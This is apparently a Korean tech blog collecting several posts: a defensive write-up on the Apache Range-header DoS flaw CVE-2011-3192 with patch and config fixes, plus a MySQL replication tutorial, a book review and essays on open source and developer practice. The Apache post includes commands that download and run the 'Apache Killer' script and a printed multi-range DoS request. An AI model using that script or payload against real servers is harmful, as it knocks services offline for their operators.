얼마전 아파치 웹서버 무력화시킬 심각한 DoS 결함 발견 이라는 기사가 나왔습니다. 메일링 리스트를 보니 영향 받는 소프트웨어는
Apache 1.3.x 및 이전, Apache 2.2.19 이전 버전이라고 하니 현재의 아파치 웹서버 대부분이 해당되는 이슈입니다. 따라서 아파치 웹서버를 사용하는 국내의 서버관리자들, 그리고 아파치가 탑재된 각종 산업분야의 엔지니어들은 빠른 대응을 해야겠습니다. 저도 처리해야지 하다가 오늘에서야 시간이 나서 후다닥 해치웠습니다. 개략적인 내용과 조치방법을 정리했으니 유용하게 사용하시기 바랍니다.

Range 요청 취약점?

http는 헤더정보에 Range를 사용해서 콘텐츠의 일부만 요청할 수 있습니다 . 파일 이어받기 또는 p2p 등에서 파일의 일부만을 특정 서버에서 받고자 할 때, video 스트리밍, pdf 등의 다운로드가 사용합니다. 이번의 이슈는 이 http header 에 Range를 요청하는 취약점을 이용해서 아파치 웹서버에 DoS 공격이 가능하다는 것이죠

Range ?
Range: bytes= n-m
문서가 요구하는 부분적인 범위를 명시한다. 여러 개의 범위는 세미콜론으로 구분하여 나열한다. 만일 쉼표로 구별된 바이트 범위인 첫째 숫자가 없다면 범위는 문서의 끝에서부터 센다고 가정한다. 만일 둘째 숫자가 없다면 범위는 끝에서 바이트 n까지이다. 첫째 바이트는 바이트 0이다.


이 공격을 테스트하기 위해서 http://goo.gl/gKMYo 의 Apache Killer 스크립트를 다운로드 받았습니다.

cpan -i Parallel::ForkManager
wget http://static.hackersgarage.com/killapache.pl.hackersgarage.com
mv killapache.pl.hackersgarage.com killapache.pl

실행 권한 부여
chmod u+x killapache.pl

공격시도
perl killapache.pl example.com 50

killapache.pl 스크립트는 아래와 같은 Range 요청을 해당 웹서버에 보냅니다.

HEAD / HTTP/1.1
Host: 192.168.10.140
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-
50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-
115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-
171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-
213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-
269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-
297,5-298,5-299,5-300,5-301,

--CUT--

1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-
1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-
1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-
1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-
1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-
1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-
1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-
1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-
1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-
1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-
1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-
1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-
1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-
1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-
1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-
1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-
1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-
1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-
1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-
1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

그 결과 버그가 존재하는 아파치 웹서버의 경우에는 아래와 같이 시스템의 CPU, 메모리등의 자원을 엄청나게 소모하게 되고 결국 정상적인 서비스가 불가능하게 됩니다.




조치방법

이 보안 이슈에 대응하는 방법은 두가지가 있습니다. 현재 이슈가 해결된 버전이 이미 나와있기 때문에 가장 좋은 방법은 아파치 웹서비스 패키지를 최신으로 업데이트하는 것이 좋습니다, 하지만 운영중인 서비스에 대해서 재설치의 압박이 있는 경우도 있으니 그런 경우라면 웹서버 Range header의 조건을 검사하여 차단하는 방법이 있습니다.

1) Apache 2.2.20 업데이트(Apache 2.2.20 for CentOS 5.x)

소스 컴파일을 하시는 경우에는 홈페이지에서(http://httpd.apache.org/download.cgi) 최신 소스코드를 다운받아 설치하시기 바랍니다. 저는 CentOS 5.5 를 사용하는데 아직 yum repository 에는 최신의 아파치 rpm이 없기 때문에 다른곳을 이용해서 설치했습니다.

Yum repository 추가(자신의 환경에 맞는 repository를 추가해 줍니다)
i386 :
rpm -ihv http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

x86_64:
rpm -ihv http://centos.alt.ru/repository/centos/5/x86_64/centalt-release-5-3.noarch.rpm

설치된 Repository 확인
yum repolist

아파치 버전 확인
yum --enablerepo=CentALT list httpd

아파치 업데이트
yum --enablerepo=CentALT install httpd

웹서버 재시작
service httpd restart


2) http header의 Range 요청을 검사해서 차단하는 방법

대부분 정상적인 Range 요청시 필드가 5개 이상은 넘지 않기 때문에 5개를 넘는 Range 요청이 있다면 Range 요청은 리셋하는 방법입니다. 웹서버 환경설정 파일을 아래와 같이 새로 추가합니다.(rpm으로 설치했다면 /etc/httpd/conf.d/ 안에 생성)

/etc/httpd/conf.d/range-CVE-2011-3192.conf 파일의 내용

# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

웹서버 재시작
service httpd restart


CVE 자료(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) 를 보니 8/19에 접수된 이슈인데 8/30 이슈가 해결된 아파치 2.2.20 버전이 나왔습니다. 이번 일을 통해서 다시한번 오픈소스SW의 보안에 대한 빠른 대응을 느끼게 됩니다. SW를 개발하는 입장에서 보면 아파치정도의 세계시장 점유율을 가진 소프트웨어가 이렇게 빠르게 대응하는 것이 가능할까하는 의문이 듭니다. 이것이 오픈소스SW의 힘이겠죠  :-)


참고 자료


이번에 읽은 책은 전세계의 분쟁에 대해서 다루고 있는 김영미 PD의 "세계는 왜 싸우는가" 입니다. 

세계의 정세에 대해사 별다른 관심없이 지내온 저로서는 또 다른 이야기를 알게 되어서 즐거웠지만, 책의 내용은 세계 강대국의 욕심때문에 전쟁을 겪는 여러나라의 슬픈 이야기입니다.


작가는 분쟁지역을 십년간 분쟁지역의 다큐멘터리를 제작해온 PD인데, 주요 작품은 <동티모르 푸른 천사>(2000), <부르카를 벗은 여인들>(2002), <일촉즉발, 이라크를 가다>(2003), <파병, 100일간의 기록, 자이툰 부대>(2004), <이라크 파병, 그 머나먼 길>(2004), <이슬람의 딸들>(2005), <조국은 왜 우리를 내버려 두는가?>(2006), <불타는 레바논>(2008), <미군들의 이라크>(2008), <히말라야 커피로드>(2010) 등이 있습니다. 


세계의 젊은이들이 각나라의 정세에 대해서 이야기할 수 있는데, 한국아이들은 그런것과 동떨어져 사는것을 느끼고, 자신의 아이에게 해주고 싶은 이야기를 정리한 메모를 모아서 책으로 발전하게 된 것입니다. 자식을 가진 엄마의 마음에서 한국의 아이들이 우물안 개구리로 자라지 않을까 싶은 생각에 출판한 책이죠.



난데없이 아름다운 여자사진이 나오니까 놀라셨죠? 이 사진은 전세계 유일의 여성병역의무가 있는 이스라엘의 10대 아이돌, 한국의 이효리 정도 되는 하달 오제리의 입대장면입니다. 책하고 무슨 상관이 있느냐하면, 저는 이 책을 보고 이스라엘이 왜 여자 아이돌 스타에게도 병역의 의무를 수행하도록 하게 되었는지 알게 되었습니다. 내용을 알고나니, 이스라엘이과 팔레스타인 양쪽 어느 한편을 들기가 어렵네요.


이스라엘과 팔레스타인 이외에도, 탈레반, 시아라, 체첸의 전사, 걸프전, 빈라덴, 동티모르, 기아의 소말리아, 납치왕국 콜롬비아 등 많은 주제들을 다루고 있습니다.


세계는 이미 지구촌이라는 이름아래 활발한 비즈니스가 이루어지고 있죠. 옛말에 지피지기면 백전백승이라는 이야기가 있듯이, 상대와 비즈니스를 하려면 상대의 환경에 대해서 아는 것이 중요합니다. 하지만 세계가 싸우고 있는 이유와 원인은 너무도 복잡한 이해관계가 얽혀 있고, 우리는 그것을 쉽게 알 수 없습니다. 이 책은 어려운 분쟁의 원인들을 쉽게 설명하고 있어서. , 지구상에 일어나는 분쟁의 원인을 더 쉽게 이해할 수 있습니다. 세계의 다른나라의 분쟁에 대해 알고 싶다면 읽어보시기를 추천드립니다.

아래 광고는 제가 TV에서 보고는 이 책이 전달하려는 느낌과 같다고 생각한 내용입니다. 한번 재미로 보세요~


초코파이 광고 - 나는 존중합니다.

Source : MySQL-Replication-Tutorial, MySQL Conference and Expo

Replication?

MySQL Cluster가 동기화 (synchronous) 리플리케이션과을 수행하는것과는 다르게, MySQL은 단 방향, 즉 비동기 리플리케이션 (asynchronous replication)을 지원합니다. MySQL Replication은 하나의 서버가 마스터로 동작하고, 나머지 한 개 이상의 다른 서버들이 슬레이브로 동작하여 마스터의 Binlog를 이용하여 슬레이브가 복제를 수행하고, Relay Binlog에 기록하는 기술을 의미합니다. 즉, 마스터의 MySQL을 슬레이브가 똑같이 복사해서 가지고 있는것이죠.

MySQL Replication은 데이터 백업의 용도뿐만 아니라, 데이터베이스에 대한 입출력을 각서버에 나누에 수행시켜 부하를 분산시키거나, 여러개의 마스터를 이용한 고가용성의 확보등에 사용됩니다.


준비사항

마스터, 슬레이브에서 사용하는 MySQL의 버전을 확인하여 가능한 동일한 버전으로 일치시키는 것이 좋으며, 마스터보다는 슬레이브의 버전이 높아야 안정적인 작동을 보장합니다.
MySQL 이중화 상태에서 Replication Fail Bug 에 대한 최근의 자료(http://goo.gl/fSlxb)를 보면 PK가 없는 테이블의 Null값을 업데이트 하는 경우 Replication이 실패하는 경우가 있다고 하니, 버그가 해결된 최신버전을  업데이트한 후 사용하시기를 권고합니다.

CentOS 5.5 에서 MySQL 5.5.15 설치방법
1) Install Remi repository
rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

2) Check Available MySQL versions
yum --enablerepo=remi,remi-test list mysql mysql-server

3) Install MySQL
yum --enablerepo=remi,remi-test install mysql mysql-server


Master 에서 준비할 일

1) my.cnf 파일에 마스터의 설정 추가
server-id = 고유한상수값
binlog-do-db = 복제할 원본 DB명 A
binlog-do-db = 복제할 원본 DB명 B
binlog-ignore-db = 복제하지않을 원본 DB명 A
binlog-ignore-db = 복제하지않을 원본 DB명 B
log-bin = Binlog 파일명

예)
server-id = 1
binlog-do-db = testdb
log-bin=mysql-master-bin

2) 슬레이브에서 Replication을 위해 접속할 유저를 생성하고 권한부여
CREATE USER '사용자아이디'@'접속을 허용할 호스트주소' IDENTIFIED BY '사용자비밀번호';
GRANT REPLICATION SLAVE ON *.* TO '사용자아이디'@'접속을 허용할 호스트주소';

예)
mysql> CREATE USER 'repl_user'@'%' IDENTIFIED BY 'abc1234';
mysql> grant replication slave on *.* to 'repl_user'@'%' identified by 'abc1234';


3) 슬레이브에 적용할 데이터베이스의 스냅샵 덤프파일 준비
mysqldump -u root -p db명 > 파일명.sql

예)
mysqldump -u root -p testdb > testdb.sql


Slave 에서 준비할 일

1) my.cnf 파일에 슬레이브의 설정 추가
server-id = 고유한상수값
relay-log = Relay Binlog 파일명

예)
server-id = 2
relay-log = slave-relay-bin

2) master에서 덤프한 파일을 임포트
마스터에서 미리 덤프한 파일을 슬레이브로 복사하고, 그 파일을 이용하여 슬레이브의 MySQL DB에 임포트합니다.
mysql -u root -p db명 < 파일명.sql

예)
mysql -u root -p testdb < testdb.sql

3) 마스터에 대한 설정
MySQL 콘솔창에서 마스터의 호스트주소, 사용자명, 비밀번호, Binlog 파일명, Position 등을 아래와 같이 설정합니다.
(이때 사용하는 Binlog 파일명과 log position의 값은 마스터의 MySQL을 재시작하고, show master status 명령으로 확인합니다.)


mysql> CHANGE MASTER TO
    ->     MASTER_HOST='master_host_name',
    ->     MASTER_USER='replication_user_name',
    ->     MASTER_PASSWORD='replication_password',
    ->     MASTER_LOG_FILE='recorded_log_file_name',
    ->     MASTER_LOG_POS=recorded_log_position;

예)
mysql> change master to
    ->     master_host='192.168.10.10',
    ->     master_user='repl_user',
    ->     master_password='abc1234',
    ->     master_log_file='mysql-master-bin.000004',
    ->     master_log_pos=640;


결과 확인

이제 모든 설정을 마쳤으니, 마스터와 슬레이브의 MySQL 서버를 재구동 해주시고. 정상적으로 작동하는지 확인을 위하여 아래의 방법을 사용합니다.

1) 마스터의 상태확인을 위해서 아래의 명령을 이용합니다.
show master status;


2) 슬레이브의 상태확인을 위해서 아래의 명령을 이용합니다.
show slave status\G


모니터링

MySQL Replication을 구성하고 난 후, 정상작동여부를 모니터링하여 마스터와 슬레이브의 내용이 다른 경우 메일로 통보받는 것이 가능합니다. 아래 링크의 SW는 마스터의 Binlog와 Position을 가져와서 슬레이브의 상태와 비교하고 같지않은 경우에 메일로 통보하는 로직으로 구현된 SW입니다.

http://forge.mysql.com/tools/tool.php?id=6
http://datacharmer.blogspot.com/2011/04/refactored-again-poor-mans-mysql.html



고급활용

MySQL의 5.x대에 들어오면서 Replication은 row-based, semi-synch, delayed, Circular,  Master-Master Replication, SSL Turnnel, Proxy 등의 다양한 고급활용이 가능합니다. 고급활용에 대한 상세한 내용은 이번 글에서 다루지 않으니, 아래에 제시한 참고자료의 링크를 이용하시기 바랍니다.


참고자료





녹색성장이 국가에서 추진하는 정책이다 보니, 최근 탄소배출량을 줄이기 위한 에너지 절감에 대한 이야기가 자주 거론 됩니다. 많은 기업들이 에너지 절약에 주목하고 있는 것이 대세이고, 그 일환으로 마이크로소프트에서는 Windows 7 의 전원관리 기술에 대한 보도자료(http://www.microsoft.com/korea/events/2011/powersave/)를 통해 낮은 전력소비량을 이야기 하고 있습니다. 요약하면 Windows XP 보다는 Windows 7 을 사용하는 것이 에너지 절감에 유리하다는 내용이죠.

Source : http://www.microsoft.com/korea/events/2011/powersave/


저도 최근 업무상 미팅중에  오픈소스SW의 탄소배출량 절감효과 연구에 대한 의견을 나눈적이 있었습니다. 내친김에 자료를 좀 찾아보았는데, Ubuntu 와 Windows 7 을 비교한 자료(2011년6월29일 발표)가 있어서 공유합니다.

Surprising Power Consumption Of Ubuntu 11.04 vs. Windows 7
- Source : http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=9

- 게임을 하는 동안은 우분투가 약간 높은 전력소모


- 부팅하는 동안은 윈도우7 이 약간 높은 전력소모


- HD 비디오를 재생하는 순간에는 우분투가 더 높은 전력소모

- 가벼운 데스크탑의 사용에서는 두 운영체제가 비슷비슷


내용을 요약하면, 마이크로소프트에서 이야기하는 자료를 근거로 보면 이전의 윈도우보다 Windows 7 이 에너지 절감에 도움이 되고, Ubuntu 11.04 vs. Windows 7 은 일장 일단이 있는 비슷비슷한 상태라는 이야기네요.

향후 오픈소스SW의 탄소배출량 절감에 대한 좀 더 심도있는 연구를 수행해서 현재의 운영체제 단위의 비교가 아니라 업무 도메인별로 오픈소스SW 스택 단위를 비교한다면 오픈소스SW에 대한 신뢰성을 제고할 수 있는 자료로 쓰일수 있겠습니다.



참고자료
- Ubuntu 9.04 vs Windows 7 Energy consumption test
http://blog.o-lab.se/2009/09/ubuntu-9-04-vs-windows-7-energy-consumption-test/

- Linux vs. Windows Power Usage
http://www.phoronix.com/scan.php?page=article&item=880&num=1

- Surprising Power Consumption Of Ubuntu 11.04 vs. Windows 7
http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=9




"IT 인재 양성을 위한 한국 대학교육의 과제"를 연구한 삼성경제연구소의 보고서를 읽었습니다.
Source : SERI(http://www.seri.org/db/dbReptV.html?s_menu=0201&pubkey=db20110804001)

이 보고서는 삼성경제연구소가 지식경제부의 연구과제로 수행한 과제의 보고서인데 선진대학에 대한 벤치마킹을 통해 국내 대학의 시사점들을 도출한 내용인데, 대학교육의 내실화, IT 창업 및 대학-산업체 간 네트워크 활성화, 대학 IT 교육-산업체 간의 선순환 구조를 통해서 미래 IT 산업을 이끌 인재를 양성해야 한다는 것이 주요 내용입니다.

선진사례를 조사하고 국내 현실과 비교하여 시사점을 도출해 내는 방식으로 진행한 조사연구의 특성상 외부 관점에서 국내 실정을 요목조목 이야기하고 있습니다. 이런 보고서를 자주 보신분들은 고개가 끄떡여지는 당연한 이야기들인데..

저는 보고서를 보면서, 외부의 요인분석에서 문제를 찾을 것이 아니라 먼저 우리 자신에게 문제를 물어야 하지 않을까 하고 생각했습니다.

보고서의 내용중에 아래같은 부분을 보면 멘티와 멘토사이의 신뢰관계가 형성되지 않고 서로에 대한 존경심이 부족한것을 알수 있습니다. 서로가 서로에게 이런 마음을 가진것을 알면서 진심으로 좋은 내용을 전달하는것은 쉽지 않은 일이죠. 현업에서도 프로젝트를 수행하는 과정에서 팀빌딩이 이루어진 팀과 그렇지 않은 팀의 생산성은 차이가 납니다. 저희 회사도 팀원의 생산성을 증가시키기 위해서 자율근무제, 외식, 워크샵, 회식, 장비지급 등 다양한 노력을 하고 있으며, 설문을 해보면 프로젝트 구성원의 만족도도 좋은편입니다. 서로의 신뢰관계를 구축하는 것은 외부의 환경요인이 개선되는 것이 중요한 것이 아니라, 구성원 개개인의 마음가짐이 가장 중요한 요인입니다. 따라서, 균형있는 IT 인재양성을 위해서는 우선 멘토와 멘티간의 관계개선을 위한 노력이 선행되어야 하겠습니다.


또다른 시사점은, 옳은일과 좋은일에 대한 도덕적 해이를 생각해 볼 수 있습니다. 교수의 본업이 교육임을 아는데, 학생들이 만족할 수 있는 교수법 개발에 힘쓸 여력이 없다는 이야기는, 결국  기업의 대학교육에 대한 낮은 만족도를 예고하고 있는 것입니다. 따라서 우리가 자기자신의 소명에 대한 옳은일과 좋은일의 균형을 유지하려는 노력이 보다 절실한 시기라고 생각됩니다.


저도 중소기업의 관리자 입장에서 기업이 필요로 하는 인재의 확보를 위해서 해 볼수 있는 것을 생각해보았습니다. 저희 회사같은 작은 회사들은 대기업처럼 캡스톤 프로젝트는 현실적으로 참여하기가 어렵고, 1) 산학협력을 통한 프로젝트를 확대, 2) 인턴십 프로그램을 통한 인력양성, 3) SW공학, 프로젝트 관리등의 실용기술에 대한 멘토링 확대 정도는 할 수 있겠네요.



얼마전, 페이스북의 지인분이 이런 소식을 전했습니다.
우리나라가 올해 국제"수학"올림피아드에서 종합 13위
중 국 종합점수 189점으로 (1위)
싱가포르 (3위)
태 국 (5위)
북 한 (7위)
대 만 (8위)

제 기억에는 이런 대회에 우리나라가 상위권이었던 것으로 알았는데, 싱가포르,태국, 북한보다 더 낮은 13위라니 좀 의아한 결과였습니다.(좀 분발해야겠네요 ㅎㅎ) 전 세계를 대상으로 우리나라의 IT 위상을 드높이기 위해서, 멘토와 멘티 그리고 실 수요자인 기업이 힘을 합쳐야 하겠습니다.

어제 지인과 식사도중 개발자의 실력에 대한 안철수씨의 강연내용 이야기가 나왔습니다. (이런 주제를 이야기 할 수 있는 지인이 있다는건 참 행복한 일이죠)

“현대는 한 사람의 천재가 모든 것을 할수 있는게 아니라 한 사람이 못할 일을 여러 전문가가 함께 모여 만들어가는 시대다”며 “전문가의 실력은 전문 지식 곱하기 커뮤니케이션 능력이다”

Source : “고단한 SW개발자 생태계, 그래도 희망은 있다” - http://goo.gl/i12Z7

전문지식 곱하기 커뮤니케이션 능력이 실력이라니~
개발자는 제대로된 기능을 만들기도 벅찬데, 커뮤니케이션 능력도 배양해야 한다니 쉬운일이 아닙니다.
게다가 현업에서 보면 A개발자와 B영업간에 "뭔 말이 통해야 말을하지~" 하는 푸념을 종종 듣습니다.
하지만, 대부분의 개발자는 자신이 커뮤니케이션 능력이 부족하다고 생각하지 않습니다. 상대방이 논리가 빈약하고 실체가 없는 모호한 대화방식이 아니라, 좀 다른 대화방식으로 이야기하기를 바라는것 뿐이죠 :-)

그럼 개발자와 대화를 이끌어내기 위해서는 어떻게 해야할까요?

얼마전 트위터에서 웃음을 자아냈던 공대생 남친 관리법(http://goo.gl/qvBUC)에서도 보이듯이, 개발자는 개발자스러운 대화방식으로 접근해야 커뮤니케이션이 가능합니다. 개발자는 자신이 이해가능한 합리적인 결과물에 대해서는 큰 이견을 제시하지 않는다는 특성을 가지고 있죠. 꼭 개발자가 아니라도 합리적 내용물을 기반으로 이야기하면 쉬운 대화가 가능합니다.

제 생각에 개발자와 대화하기 가장 좋은 방법은 애자일 실천법 중 하나인 CTIP(Continuous Test & Intergration Platform) 라고 생각됩니다. 지난 몇년간 Agile 기법에 대한 학습과 현업에서 적용결과, 저는 애자일의 핵심이 사람과의 소통인것을 얼마전에야 깨닫게 되었습니다.

혼자 개발하는 문화에 익숙한 개발자는 무엇인가 함께 만들어야만 하는 상황을 만나면, 구성원간 커뮤니케이션에 어려움을 겪습니다. 이때 CTIP를 통한 정적분석도구를 활용한 결과물과 코드커버리지, 그리고 이슈관리도구를 통하여 문제점을 가시화하고 합리적 결과에 기반한 개발자와의 대화를 시도하면 SW개발자와의 쉬운 대화가 가능합니다.

저는 SW개발의 생산성을 향상시키기 위한 최선의 방법은, 좋은 개발문화를 형성하여 개발자간 커뮤니케이션능력을 배양하고, 협업을 통한 시너지가 창출될 수 있도록 유도해주는 것이라고 생각합니다.


Source : 2011 한국소프트웨어 아키텍트 대회
<지속적 테스트와 통합을 위한 SW개발 아키텍처>


<이슈관리시스템을 통한 문제제기>


<위키를 이용한 문서협업>




<SW개발을 위한 공개SW 기반의 지속적 테스트와 통합 아키텍처>


그리고, Agile 2011 Conference가 8월6일 열린다고 합니다. http://pragmaticstory.com/1776 에 트랙에 대한 설명을 해주셨네요. 언젠가는  가 볼 기회가 있겠죠?  :-)

메일링으로 도착한 정보를 읽다가 공개SW 사용기 공모전 (http://www.oss.kr/7777) 을 하는것을 보았습니다.

참여한 글의 수가 생각보다 많은것을 보고 사람들의 관심이 높아진것 같고 공개SW역량프라자에서 많은 일을 하는구나 하는 생각으로 사용기를 쭈욱 읽어보았습니다. 그런데 사용기를 제출한 몇몇분들의 글을 보니, 공개SW와 프리웨어를 구분하지 않고 쓴것들이 보입니다. (오픈캡처, smmemo 같은 SW는 프리웨어죠)



2004년 이후로 공개SW라는 단어를 산업계에 이해시키기 위해서 많은 노력을 해왔기 때문에, 이제 공개SW라는 단어가 제법 많이 알려진 상태입니다.
하지만 공개SW란 비용의 관점이 아니고 소스코드의 관점에서 해석되는 단어임에도 불구하고, 많은 사람들이 아직도 공개SW라는 단어를 비용의 관점에서 해석해서 공짜SW로 이해하고 있는경우를 만납니다.(http://www.opensource.org/docs/definition.php)


source - http://goo.gl/57lKP

여전히 공개SW는 무료인가요? 라는 질문을 종종 받습니다.

공개SW라는 단어의 정의를 재차 설명해야 하는 경우가 많다는 사실을 보면
Open Source Software라는 단어의 현지화 과정에서 무언가 잘못된 것은 아닐까 하고 생각해봅니다.

SW를 분류할때 비용의 관점에서 보면 Freeware, Shareware, ADware, Commercial Software 등으로 나누어지고,
소스코드의 공유관점에서 보면 Open Source Software, Close Source Software 로 나눌수 있습니다.

그런데 'Open Source Software'를 현지화하면서 '공개SW' 라고 이름지었고,  그 과정에서 'Source'라는 키워드가 사라진것으로 인해 소스코드관점인지, 비용관점인지 모호해졌고, 그 때문에 Open Source Software, Freeware, Shareware에 대한 식별이 어려워진건 아닐까요?

공개SW라는 단어가 소스코드의 관점이라는 사실이 직관적이지 않으니,  그냥 OSS(Open Source Software)라고 사용한다면 좀더 이해하기 쉽지 않을까요?


참고

freeware
- 프리웨어(공개 소프트웨어)는 금전적인 지불 없이, 제작자가 무료로 사용할 수 있도록 배포하는 프로그램을 말합니다.

shareware
- 쉐어웨어도 무료로 사용이 가능하나, 일정 기간동안만 사용하도록 정해진 프로그램입니다.  만약 계속 이용하고 싶다면, 프로그램을 구입하여 이용할 수 있습니다.

Open Sorce software
- 오픈소스는 소스 코드에 대한 접근이 허용돼 공통적으로 합의된 규칙에 따라 누구나 쉽게 사용할 수 있고, 제 3자에 의한 수정 및 배포가 가능합니다.

The Open Source Definition
- http://www.opensource.org/docs/definition.php

The Open Source Definition 번역본(2002)
- http://korea.gnu.org/people/chsong/copyleft/osd-korean.html

The Open Source Definition 번역본(2006)
- http://goo.gl/ySlpA

데비안 자유 소프트웨어 지침(DFSG, Debian Free Software Guidelines)  번역본
- http://goo.gl/GgXFs




Nice Subversion Repository Browser

개요


소스코드 버전관리를 위해서 svn을 많이 사용하고 계시죠?

이번에 소개하는 sventon은 소스코드 버전관리를 위해서 subversion을 사용하는 경우, 코드 저장소를 웹기반으로 탐색할 수  있도록 도와주는 공개SW 입니다. sventon은 java로 작성되어 war파일만 구동가능하면 되기 때문에 다른 웹기반 svn 저장소 브라우저들에 비해서 설치가 간단하고, 사용하기도 좋으니 svn web client를 고민하고 계시다면 사용해 보시기 바랍니다.





설치 및 환경설정

1) sventon website - http://www.sventon.org/




2) 다운로드
- 최신의 배포파일을 다운로드 받아서 압축을 해제하는 것으로 설치준비가 모두 끝납니다.



3) 압축해제

- sventon은 java war파일로 배포되기 때문에 war를 구동할 수 있는 was가 필요합니다. 저는 tomcat을 사용하도록 하겠습니다.  압축을 해제하면 아래와 같은 내용이 있습니다.




4) 설치
- 압축해제한 파일 중 svn.war 파일을 tomcat 루트(webapp)안에 복사해두고 tomcat을 재시작 하시거나, 또는 tomcat manager로 war파일을 배포하시면 war파일이 context로 자동 배포됩니다. 설치는 이것으로 끝입니다.




5) 설치확인 - 재시작 후 http://yourdomain:8080/svn/ 경로로 접근하면 초기설정이 가능한 화면을 만나게 됩니다.

<sventon 초기 설정화면>


<sventon repository 선택>


<svn에 접근가능한 계정으로 로그인을 요구하는 로그인 화면>



주요기능
- svn의 상태를 웹기반으로 제공
- diff 기능
- 여러개의 코드 저장소 지원
- zip파일로 코드 다운로드 지원


메인화면에서 아래에 표시한 붉은색 부분을 클릭하면 수행가능한 명령이 나타납니다.



<소스코드저장소 변경>



